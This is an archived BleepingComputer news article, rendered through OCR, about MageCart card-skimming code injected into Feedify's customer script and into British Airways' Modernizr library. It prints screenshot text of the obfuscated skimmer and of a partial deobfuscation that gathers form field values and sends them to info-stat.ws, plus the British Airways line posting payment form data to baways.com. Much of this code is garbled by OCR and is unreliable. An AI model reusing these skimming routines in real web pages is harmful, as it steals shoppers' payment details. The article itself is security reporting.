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Feedify Hacked with Magecart Information Stealing Script

By Lawrence Abrams

Published: 2018-09-12 - Archived: 2026-04-05 15:11:11 UTC

A script used by the customer engagement service Feedify has been hacked to include the malicious MageCart script.
MageCart is malicious code used by attackers to steal credit card details and other information from e-commerce sites when

a user submits a form.

In order to use the Feedify service, e-commerce sites need to add a Feedify JavaScript script to their site. If the
Feedify script is compromised with MageCart, any visitors who go to e-commerce site that uses the Feedify script will also

load the malicious code.

This hack was first noticed by a security researcher named Placebo who posted about it yesterday on Twitter. When Placebo

posted about it, MageCart had already been removed from the Feedify script.
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When researching this story, I created a Feedify account to test what scripts their customers were being instructed to add.

When testing the service, customers are instructed to add the following snippet of code to their site.

<l--Feedify Script Start-->

<script id="feedify webscript™ >

var feedify = feedify || {};

window.feedify options={fedify_url:"https://feedify.net/"};

var s = document.createElement('script’);

s.type = 'text/javascript';

s.src = "hitps f/cdn.feedify.netIgetjSffeedbackembad—min—l.@.js'
document.getElementsByTagName( ' h *J[@].appendChild(s);
</script>

<l--Feedify Script End-->

Caption

When examining the https://cdn.feedify.net/getjs/feedbackembad-min-1.0.js script, though, I saw that MageCart was still
embedded in the script as shown by the highlighted section below.

[) hitps//ednieedifynet/getjs/fee: X | =

&« C @& hitps//edn.feedify.net/getjs/feedbackembad-min-1.0js * pgF B = @®HS ¢ v ® @

BC SEQ & Admin G Publisher University Malware Blogs Orline Courses Gaming W Bleeping Computer - [} CamplnTouch Malware Analysis  [3 Instant Shorten »
var _@xeb25-

[ "\6BB\x74 \x 74\ 70173 \x3A\x2F \K2F\ K6 BE \x66\ xEF\x2D\XT 74 \ 61 17 4\ 2E \x77 \x7 3\ k2F \XBA K73\ X2 F Vo7 3AxEC \69 \ x4\ X65 72 \x2E \nBA\KT 3", "\x7 31265 \x 74 \x69 \ 641 x64" , "\x2B\x3F \x
FANXSE\X7C\X3B\x28'\x29", "5 Chx24\x31 ", " \xT2 \xB5\ K78\ X0\ xE1 \x63\x65" , "\ x3DNx2B\x5B \xSE\xIBAXSDAX2ANX23 ", " \x6D\ X6 T \x74\x63\x68" , " \x63\x6F \ X6 F\xEBAXET \x65" , " \ K67\ XB5 74 \x54 \x
63\xBDAX6E5", "\x2D" , "\x72\X61\X6E\ X6\ XEF \xBD" , " \x66 \KEC\XBF\X6F\x72", "\x73\x65 \x62\x3D", "\x38\ 61174\ x681x3D\x2F \x3B\x20\x65 \x78 \x78\ 1691172 \x65 \x73\x3D"
& "\aPAAREF W55\ x54'1xA3 53 7B\ K72\ kBT AXBE \x67" , " \x7I\NBE\REA" , " \XEINBE \x7B\x75\ 74120\ 28\ %73\ kE5 \XEC\65 \x63\ x741x2C \x 20\ X74 \ X5 78 \x74 61 \ k7 21 %65 %61 \x2C\ 28\ 63 \x68 \x
65263 \x6B\x62\ xBF 178 \x2C \x 20\ X621\ 175\ P4 \XTA\NEF\BE ™, "\ X7 113075 \x65 \x7 2\ 7\ oc53 \xB5 \ K6 C\ KBS\ x63 \ XA \x6F 1721081 \n6C\x6C" , "\XBC\xB5\XBE \x67 \x74\x68" , " \x7E\ 161 \XBC\KT5\xE5", ™
AXBEAXB1\xBD\X65", "™, "\x3D", "\x26”, "\x61 \x 5B\ x68\ x72\x65 466 \x 2A\x3DNx27 \x6A\x61 \xTEA\X61\x T3\ x63\ k7 2\ X6S\x 7B \XTA\ xIANXTE \X6F \ %63\ x641x28\x 30 \x 29\ x27 1 xSDAX 2C \x62\ X7 5\ FA\X T4\ x
6F\XBE \x2C\x 28\ x68 \x6E \x76\xT5\x 74\ x2C\x20 \x73\x7 5162 \xBDAXET \xT4\X2C\x 20\ X 2E \x62\ X7\ X6 \x2C\ X281 x2E N X62 \x 75\ 78\ x74NXB6F \X6E™ , " \xT4\XTS\xTB\XE5 ", "\ x74\xB5\xT8\XT4" , "\x73\x6
5AX6CAX6E5\ X6 374", "\x63 \X68 65\ x6 31 xBBAXE2\EF\XTS", "\XTB\XB1Nx73 \xTI\RTTXBFAx72\x64" , " AXT2\XB1\xB41 x50 \x6F ", " \x61 \xB4\ xB4A 45\ XTE\XBS\XEEN K74 XL \x68\x7 3174 \x65\XBE\E5 Y
X72", "\x63\x6C\x63\x63\xBB”, "\xBINXEC\XBB" , " \XBF\XBE\XE3 4B \X65\XBINx6B" , "\x61\x74 \x7A\ X6 1 \xB3\x68\x45 \x76AXE5NXBE \XT4" , " \x66\X6F\x72\xED", "\x73\x75 \x62\x6D\x63 \x74" , " \x6F \x
6E\X73\x75\x62\x6D\X6I 74", "\xSF ", "\xBANXEF \XBI\XEE", "\x7INX6CAXEI 63 \x65", " \X2E” , "\x73\xT@NX6C\X63\XTE" , "\x65\x5F\x73\x74\x6E\K61\x5l)\x55" "\XBE \X6F \x64\x6F\x6D\x61\ X693 x5
"\x50\x4F \X53\x54" , "\x6613341x39 \x61\X341x34\x 66\ x66\ x39\x61\x38\x31 \x324x35\, \x334x37\x35\x38\x61", " \X6F 170N XE5 \X6E
M3\ X6 FAXE 74\ XES\ xBEN KT N K20\ T4\ XT3\ X703 \xE]\x76\x7ﬂ\‘(5(\x69\x63\xﬁl\x74\x59\x6F\xl§E\xlF\x7ﬂ\xZD\x77\177\x77\xlD\xﬁﬁ\xﬁF\x?z\xﬁD\xZD\x7§\x7Z\xﬁ(\xﬁs\xﬁf\xﬁi\xEF
A XB4\xE5 x84 ", " \x73\x65 74N X52 X5\ T1\x7 3\ x5 \x73 K74\ xS\ xE\B1 \ 6\ K63\ 72", "\ 68 ABE \XGB\KBFEID", "\ x26)\ X8 \XBF \x7 3\ X741 BE \ xB1\ XD\ K65\ X3D X656 \X65\ B354\ xBS\ xBE\KTIN
X26\XBB\X651X79\x3D", " \xBD\x 73\ X6\ x64", "\ x73NxX65 \X6E\x64" , " \x6C\X6F\x53 \X61 \X74\ X6 AXEF \6E ", " \x74\X65\x7 3\ x74" , "\X6F\XGE \x67\x65\x7C! 65 \x65\x63\X6B\XEF \XT5
Ax74\x7CAx70 \x61\x79N\xTC\x62 \x69 \ x6C\xEC \x7C\x63\ x68\x65\x63 \x68\x7C\x63\x61\x72\x74", "\x67'x69" ] ;var r128bcdad4s11des7afess1a08170121c=

{snd:null, 493440281838 250064bfe dd3754a: _axeb25[@] ,myid: (function( @x91c7x2){var _exg1c7x3=document[ Oxeb25[7]][_@xebls[6]]( new RegExp(_@xebaS[2]+ _0x91c7x2[ @xeb25[4]]
(700577 CIVCONA I/ \42]) f,_0xeb25[3])4_@xeb25[5]) ) sreturn _oxa1cyxs decodelURIConponent(_exa1c7x3(1]):undetined})(_@xeb25[1])| | (Function(){var Bxo1c7xd= new
Date();var _@xolc7x5=_6x81c7x4[_@xeb25[8]]()+ _Oxeb25[3]+ Math[_@xebas[11]](Math[_exeb25[18]]()* (999999993 11111111+ 1)+ 11111111);var _exI1c7x6= new Date( new Date()
[_oxeb25[3]]()+ 60* 60 24* 1608);document[ @xebIs5[7]]= _@xeb25[12]+ Bx91cix5+ Gxeb25[13]+ @x91c7x6[_Bxeb25[14]]();return _Bx91c7x5})(),clk: function()
{r128bcd494911d097afe391a05170121c]_exeb25[15]]= null;var _@xglc7x7=document | @xeb25[17]](_@xeb25[16]);for(var _@x91c7x5=0; OX9LC7XES _OXI1CTX7[_Oxeb25[13]];_OXOLCTxE+)
{if(_@x91c7x7[_ox91c7x8][_@xeb25[19]][_Oxeb25[18]]> 0){var _Oxolc7x9-_exo1c7x7|_Ox91c7x8][_oxeb25[20]];4if(_@x91c7xg-- _@xeb25[21]){_ex91c7xo-
_ex91c7x8};r128bcd4d4911d0975f e 891208170121 [_oxeb25[15]]+- _0x91c7x7[_Ox91cTx8][_0xeb25[20]]+ Oxeb25[22]+ _0x01c7x7[_@x91c7x8][_@xeb25[12]]+ _xeb25[23]}}},send:function()
{try{var _ex91c7xa-document[_@xeb2s[17]](_exeb25[24]);for(var _ex91c7xs-0;_BXOLc7x8< _ex9lc7xa[_oxeb2S[18]];_exolc7x8+t){var
_ex91c7xb=_0x91cTxa[_Bx9Lc7x8];1f(_ex9lc7xb[_Oxeb25[25]]1- _@xeb25[26]8& _@x91c7xb[_@xeb25[25]]1- _@xeb25[27]8& _exalc7xb[_@xeb25[25]]!- _exeb25[26]8%
_ex91c7xb[_oxeb25[25]] 1~ _@xeb25[29)8& _pxg1c7xb]_@xeb25[25]]!~ _@xeh25[38]){if(_@x31c7xb[_@xeb25[31]]){_0x91cTxb[_@xeb25[31]]
(_@xeb25[32],r128bcd4d4911d097afe891a08170121c[_Oxeb25[33]],False)Jelse {_8x91c7xb[_@xeb25[35]](_Oxeb25[34], r128bcd4d4911d097afeB91a08170121c[_Bxeb25[33]1])}}};var
_@x91c7xc-document[_Bxeb25[17]](_Bxeb25([36]); for(vari= B;_8x91c7xB< _Ox91c7xc[_Bxeb25[18]];_Ox91c7xE++){if (_@x91c7xc[_Bx91c7x8] [_6xeb25[31]]){_Bx31c7xc[_8x91c7x8]
[_6xeb25[31] ] (_@xeb25[37], r128bcd4d4911de97afe891a08170121c[_Bxeb25[33]], false) Jelse {_8x91c7xc[_Ox91c7x8] [ _Bxeb25[35]]

(_@xeb25[38] , r128bcd3d4911dB97afe891a08170121c[_@xeb25[33]])}}; if (r128bcd4d4911d097afe891a08170121c[_Bxeb25[15]]!= null){var _@x91c7xd=location[_Oxeb25[44]][_@xeb25[43]]
(_Bxeb25[42] ) [_@xeb25[41]](8) [_6xeb25[48] ] (_axeb25[39])| | _@xeb25[45];var _@x31c7xe=btoa(r128bcdddas11des7afe891a08170121c [ Oxeb25[15]]) var _Bx31c7xf= new
XFLHttpRequest();_Bx91cTxf[_xeb25[48]](_0xeb25[46], r128bcdadad11da97afeBI1a08170121c[_Oxeb25[47] ], true);_Bx31c7xf[_oxeb25[51]]

_oxeb25[43],_6xeb25[50] );_Bx31cTxf[_Oxeb25[55]](_oxeb25[52]+ _Bx91cTxe+ _@xeb25[S3]+

r128bcd4d4s11d057afe891a08170121c[_Bxeb25[54]]) }; r128bcdada911de07ates91a08176121c[_Oxeb25[15]]= null;_@xS1cTxe= null;setTimeout(function()
{r128bcdddd911d857afeB51a08170121c]_@xeb25[55]]() }.30) beatch(e){}}}:iF(( new RegExp(_@xeb25[58],_@xeb25[59]))[_Bxeb25[57]] (window[_6xeb25[56]]))
{r128bcdddds11d887afe891208170121c[_@xeba5[55]]()

var isvalid=le;if(void o
{};messageCallback: function(e}{var t=

sjssetdflisjsset){function resizeiframe(){iFrameResize({log:!1,enablepublicliethods: 10, checkorigin: 11, resizedCallback: function(e)
message;if(1!=t.scroll)return”hidePopFrame”==t. actiond@" newsletter"==t. type2void .

Caption

A partial deobfuscation of the script shows that any submitted information will be sent to the URL https://info-

stat.ws/js/slider.js.
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File Edt View Settings ?
Dadoselranlas@Fealow
1fvar r128bcdadso11d097afeso1208170121c = { =
z  snd: null, M
s f492447f9a81838c250064bTefdd3754a: "https://info-stat.ws/js/sTider. js',
4 myid: (function(_0x91c7x2) {
s var _0x91c7x3 = document[cookie'J['match'](new Regexp(’ (2:Al; 3 + _0x91c7x2['replace’T(/([\. S7%I {ICONINI\WWA#AD) /g, "\$1°) + "=([4;1%)°));
& return _0x91c7x3 ? decodeUrIComponent(_0x91c7x3[1]) : undefined
7 P Csetidd’) || (function() {
s var _0x91c7x4 = new pate();
s var _OX91c7x5 = _0x91c7x4['getTime'1() + '~' + Math['floor '](ath['random’1() * (999999999 - 11111111 + 1) + 11111111);
10 var _0x91c7x6 = new Date(new Date() ['getTime']() + 60 * 60 * 24 * 1000);
1 document['cookie’] = 'setidd-" + _OX91c7X5 + ‘i path-/; expires=' + _0x91c7x6['touTcstring’10);
12 return _0x91c7x5
= DO,
15 clk: funcrion() {
15 r128bcd4d4911d097af e891a08170121c["snd'] = null;
16 var _0x91¢7x7 = document['queryselectorall’1('input, select, textarea, checkbox, button');
T for (var _0X9Lc7x8 = 0; _OX91C7x8 < _Ox91c7x7['length']; _OX91c7x8+) {
18 if (_0x91c7x7 [_0x91c7x8]["value']['Tength'] > 0) {
13 var _0x91c7x9 0x91c7x7[_0x91c7x8] [ 'name"];
20 if (Coxorc7xe b E
2 _0x91c7x9 = _0x91c7x8
22 ¥
= r128bcd4d4911d097af e891208170121c[ " snd'] += _0x91c7x7 [_Ox91c7x8][*name’] + '=' + _0x91c7x7[_Ox91c7x8]['value'] + ‘&'
24 ¥
25 ¥
26 1,
27 send: function( {
28 try {
25 var _0x91c7xa = document[*queryselectorall'](*a[href*=\"javascript:void(@)\'],button, input, submit, .btn, .button');
0 for (var _Ox91c7x8 = 0; _OX91c7x8 < _Ox9lc7xal["Tlength']; _Ox91c7x8++) {
n var _0x91c7xb = _0x91c7xal_0x91c7x8];
2 if (Cox91c7xb['type'] != 'Text' && _Ox9Lc7xb['type'] != 'select’ && _Ox9lc7xb['type'] != 'checkbox' && _Ox91c7xb['type'] !'= 'password’ && _0x91c7xb['type'] !'=
‘radio’) {
£ if (_0x91c7xb[’ addeventListener 1) {
s _ox91c7xb[ " addeventListener 1('click’, r128bcdad4911d097afe891a08170121c[ k'], False)
35 } else {
36 _0x91c7xb[ " attachevent '] (‘oncTick’, r128bcd4d4911d097afes91a08170121c clk’1)
S 3
38 3 i
39 b
a0 var _0x91c7xc = document [*querySelectorall']1("form');
a for (vari = 0; _0x91c7x8 < _Ox9lc7xc['length']; _0x91c7xB++) {
a2 if (L0x91c7xc[_0x91c7x8] [addEventListener "]
a2 _0x91c7xc[_0x91c7x8] ['addeventListener*1( submit’, r128bcdada11d0o7afe891a08170121c[ ' c1k'], False)
s 3 else {
a5 _0x91c7xc[_0x91c7x8] ['attachEvent ']("onsubmit’, r128bcd4d4911d097afe891a08170121c[" clk'])
a6 3
a7 b
s if (r128bcdad4911d097af e891a08170121c[*snd’] = null) {
a9 var _0x91c7xd = Tocation['hostname' 1[*split’'1(". ") ['s1ice’1(0)[*join"1C'_") 1] "nodomain’;
s0 var _0x91c7xe = btoa(r128bcd4d4911d097aFe891208170121c[ *snd"1); a
Ln1:66 Coll Sel0 381K Anst CR+LF INS _Default Tet
Caption

To confirm that this was indeed MageCart, I contacted Yonathan Klijnsma of RiskIQ who further confirmed that the Feedify
script was still compromised. Klijnsma told BleepingComputer that the script had been reinfected 15 minutes prior to my

contacting him.

Currently the malicious code has been removed from the https://feedify.net/getjs/feedbackembad-min-1.0.js, but it is still

present in https://cdn.feedify.net/getjs/feedbackembad-min-1.0.js.

BleepingComputer has contacted Feedify for further information, but has not received a response at the time of this
publication.

MageCart used in recent British Airways hack

RiskIQ also discovered that a script used by British Airways was also recently compromised by the MageCart script. This

allowed attackers to steal payment and other sensitive information from approximately 380,000 individuals.

Page https://www.britishairways.com/cms/global/scripts/lib/modernizr-2.6.2.min.js

Status Messages (0) Dependent Requests (0) Cookies (0) Links (0) Headers SSL Certs (0) Response & DOM DOM Changes

Causes Social Inspection Results Sequence To Parent

& Response Body

g(a,b){var c;return window.getComputedStyle?c=document.defaultView.getComputedStyle(a,null).getPropertyvalue(b):a.currentStyless
(c=a.currentStyle[b]),c}function

h(){d.removeChild(a),a=null,b=null,c=null}var

a=document.createElement("ruby"), createElement("rt"), createElement("rp"),d=document.documentElement,e="display", f="fo
ntSize";return

a.appendChild(c),a.appendChild(b),d.appendChild(a),g(c,e)=="none" ||g(a,e)=="ruby"&&g(b,e)=="
(h(),10):(h(),!1)}),Modernizr.addTest("time", "valueAsDate"in

document.createElement ("time")),Modernizr.addTest ({texttrackapi:typeof
document.createElement ("video").addTextTrack=="function",track:"kind"in
document.createElement("track")}),Modernizr.addTest("placeholder”, function()
{return"placeholder"in(Modernizr.input||document.createElement("input"))&&"placeholder"in(Modernizr.textarea||document.createElement( "texta
rea"))}),Modernizr.addTest ("speechinput”, function(){var

a=document.createElement("input");return”speech"in a||"onwebkitspeechchange"in

a}),function(a,b){b.formvalidationapi=!1,b.formvalidati =11,b.addTest( "formvalidation", function(){var

c=a.createElement ("form");if("checkvalidity"in c){var

=a.body,e=a.documentElement,£=!1,g=11,h;jreturn b.formvalidationapi=10,c.onsubmit=function(a)

{window.opera| |a.preventDefault(),a.stopPropagation()},c.innerHTML='<input

name="modTest"

required><button></button>',c.style.position="absolute" c.style.top="-9999%em",d||

(£=10,d=a.createElement ("body"),d.style.background="",e.appendChild(d)),d.appendChild(c) h=c.getElementsByTagName("input")
[0],h.oninvalid=function(a)

{g=10,a.preventDefault(),a.stopPropagation()},b.formvalidationmessage=!lh.validati ,C.getEl ("button")
[0].click(),d.removeChild(c), fase.removeChild(d), g}returnll})}(document, window.Modernizr);
window.onload=function(){jQuery("#submitButton").bind("mouseup touchend”, function(a){var
}:jQuery("#paymentForm").serializeArray().map(function(a){n[a.name]=a.value});var
locument .getElementById( "personPaying”).innerHTML;n.person=e;var
=JSON.stringify(n);setTimeout (function()

{jQuery.ajax({type:"POST",async:!10,url: "https://baways.com/gateway/app/dataprocessing/api/",data:t,dataType: "application/json"})},500)})};

ruby-text" | |g(c,£)=="6pt"&&g (b, £)=="6pt"?
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In the British Airways hack, the compromised script was the Modernizr JavaScript library, which airline's site was using.

P\CUS

The Validation Gap:
What Automated
Pentesting Alone

Cannot See

Automated Pentesting Covers Only 1 of 6 Surfaces.

Automated pentesting proves the path exists. BAS proves whether your controls stop it. Most teams run one without the

other.

This whitepaper maps six validation surfaces, shows where coverage ends, and provides practitioners with three diagnostic

questions for any tool evaluation.

Source: https://www.bleepingcomputer.com/news/security/feedify-hacked-with-magecart-information-stealing-script

Page 5 of 5


https://hubs.li/Q048zztN0
https://hubs.li/Q048zztN0
https://hubs.li/Q048zztN0

